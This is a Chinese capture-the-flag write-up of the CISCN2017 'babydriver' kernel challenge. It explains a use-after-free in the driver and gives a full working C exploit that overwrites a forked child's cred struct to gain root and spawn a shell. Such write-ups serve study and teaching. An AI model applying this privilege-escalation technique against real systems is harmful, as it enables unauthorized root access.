第一道 kernel pwn 题 CISCN2017 - babydriver

搞定 环境之后  一切就很简单了起来 (起码做题自闭 总比 环境自闭好多了)

然后 参考链接是 wiki

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

 

至于 题目 wiki上都给好了 我们直接看驱动吧 这个题目确实是baby

没有任何的防护措施 而且符号表也没有 去掉 在很大程度上 把这个题简单化了

WIKI提供了两种思路  这个是第一种  UAF

看一下题目

这里的函数的大概意思 都能够百度的到 如果想具体了解的话  这就需要一些书籍和视频资料了

其实在这里就是很简单的一个程序 创建字符设备  然后 注册函数  注册  模块类型   然后 创建设备

值得注意的点就是这个设备结构体是全局的 也就是说 如果我们创建两次那么  第二次的会把第一次的给覆盖掉

这个就是UAF  

那么  怎么提权  这里有一个结构体

cred

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

其中的改变其中的参数就可以提权 不过 怎么修改呢

在这里 我们可以改变缓冲区的大小

其中 可以设定 buf_len的长度大小

但是有一点 需要明白的是,,,

思路是fork  把进程的大部分内容直接给复制到另一个内容

但是怎么确定 fork  也就是子进程的 cred  正好落入“已经被free”的 设备缓冲区呢

那么需要把他的大小给确定了

看源码是一个选项,另一个选项是 自己一个驱动 然后看一下大小

在我上一篇博客上面有一个 细节

那么 确定好之后直接 写代码就ok了

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1=open("/dev/babydev",2);
    int fd2=open("/dev/babydev",2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1,0x10001,168);
    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid=fork();
    if(pid<0)
    {
    	puts("[*] fork error!");
    	exit(0);
    }
    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2,zeros,28);
        if(getuid()==0)
        {
        	puts("[+] get root!");
            system("/bin/sh");
            exit(0);
        }

	}
    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值